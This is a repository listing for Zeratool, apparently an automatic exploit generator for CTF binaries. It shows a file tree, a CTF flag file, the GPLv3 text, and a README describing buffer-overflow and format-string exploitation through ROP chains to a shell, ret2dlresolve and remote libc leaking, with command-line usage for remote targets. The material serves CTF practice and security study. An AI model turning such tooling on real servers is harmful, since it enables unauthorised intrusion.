├── .gitignore
├── .pass
├── LICENSE
├── README.md
├── bin
└── zerapwn.py
├── challenges
├── bof1
├── bof2
├── bof3
├── demo_bin
├── easy_format
├── flag.txt
├── hard_format
├── heap0
├── libpwnableharness32.so
├── libpwnableharness64.so
├── medium_format
├── ret
└── stack0
├── flag.txt
├── install.sh
├── samples.sh
├── setup.py
├── tests
├── Makefile
├── bin
│ ├── bof_32
│ ├── bof_64
│ ├── bof_dlresolve_64
│ ├── bof_nx_32
│ ├── bof_nx_64
│ ├── bof_srop_64
│ ├── bof_win_32
│ ├── bof_win_64
│ ├── format_pc_write_32
│ ├── format_pc_write_64
│ ├── format_write_and_constrain_32
│ ├── format_write_and_constrain_64
│ ├── libc.so.6_amd64
│ ├── libc.so.6_i386
│ ├── read_stack_32
│ └── read_stack_64
├── bof_test.py
├── buffer_overflow.c
├── format_string.c
└── format_test.py
├── tox.ini
└── zeratool
├── __init__.py
├── formatDetector.py
├── formatExploiter.py
├── formatLeak.py
├── inputDetector.py
├── malloc_model.py
├── overflowDetector.py
├── overflowExploitSender.py
├── overflowExploiter.py
├── overflowRemoteLeaker.py
├── printf_model.py
├── protectionDetector.py
├── puts_model.py
├── radare_helper.py
├── remote_libc.py
├── simgr_helper.py
└── winFunctionDetector.py
/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 |
--------------------------------------------------------------------------------
/.pass:
--------------------------------------------------------------------------------
1 | flag{y0u_g0t_1t}
2 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Zeratool v2.2
2 | Automatic Exploit Generation (AEG) and remote flag capture for exploitable CTF problems
3 |
4 | This tool uses [angr](https://github.com/angr/angr) to concolically analyze binaries by hooking printf and looking for [unconstrained paths](https://github.com/angr/angr-doc/blob/master/docs/examples.md#vulnerability-discovery). These program states are then weaponized for remote code execution through [pwntools](https://github.com/Gallopsled/pwntools) and a series of script tricks. Finally the payload is tested locally then submitted to a remote CTF server to recover the flag.
5 |
6 | [](https://asciinema.org/a/457964)
7 |
8 | ## Version 2.2 changes
9 |
10 | Zeratool now supports remote libc leaking with buffer overflows. When a `puts` or `printf` call is present, Zeratool will leak out remote GOT entries and submit them to an online libc searching database to find offsets without the need for a local copy of the library.
11 |
12 | [See remote libc leak in action!](https://asciinema.org/a/LL2ASZkIwEdwR0xsnzMb3oFLp)
13 |
14 | Zeratool supports some basic ret2dlresolve chaining for 64bit binaries. See the example below on how to run it.
15 |
16 | ## Version 2.1 changes
17 |
18 | Zeratool now supports some smart rop chain generation. During a buffer overflow
19 | Zeratool will attempt to leak a libc address and compute the base address and build a execve(/bin/sh,NULL,NULL) chain or system(/bin/sh) chain.
20 |
21 | ## Installing
22 | Zeratool has been tested on Ubuntu 16.04 through 20.04. Please install [radare2](https://github.com/radareorg/radare2) first
23 |
24 | pip install zeratool
25 |
26 | ## Usage
27 | Zeratool is a python script which accept a binary as an argument and optionally a linked libc library, and a CTF Server connection information
28 |
29 | ```
30 | [chris:~/Zeratool] zerapwn.py -h
31 | usage: zerapwn.py [-h] [-l LIBC] [-u URL] [-p PORT] [-v] [--force_shellcode] [--force_dlresolve] [--skip_check] [--no_win] [--format_only] [--overflow_only] file
32 |
33 | positional arguments:
34 | file File to analyze
35 |
36 | optional arguments:
37 | -h, --help show this help message and exit
38 | -l LIBC, --libc LIBC libc to use
39 | -u URL, --url URL Remote URL to pwn
40 | -p PORT, --port PORT Remote port to pwn
41 | -v, --verbose Verbose mode
42 | --force_shellcode Set overflow pwn mode to point to shellcode
43 | --force_dlresolve Set overflow pwn mode to use ret2dlresolve
44 | --skip_check Skip first check and jump right to exploiting
45 | --no_win Skip win function checking
46 | --format_only Only run format strings check
47 | --overflow_only Only run overflow check
48 |
49 | ```
50 |
51 | ## Exploit Types
52 | Zeratool is designed around weaponizing buffer overflows and format string vulnerabilities and currently supports a couple types:
53 |
54 | * Buffer Overflow
55 | * Point program counter to win function
56 | * Point program counter to shellcode
57 | * Point program counter to rop chain
58 | * Rop chains will attempt to leak a libc function
59 | * Rop chains will then execve(/bin/sh) or system(/bin/sh)
60 | * Can attempt a ret2dlresolve ropchain
61 | * Can attempt to use puts/printf to leak remote libc
62 | * Format String
63 | * Point GOT entry to win function
64 | * Point GOT entry to shellcode
65 |
66 | ## Examples
67 | Checkout the samples.sh file. The file contains several examples of Zeratool automatically solving exploitable CTF problems.
68 |
69 |
70 | ```
71 | #!/bin/bash
72 | # Buffer Overflows with win functions
73 | zerapwn.py tests/bin/bof_win_32
74 | zerapwn.py tests/bin/bof_win_64
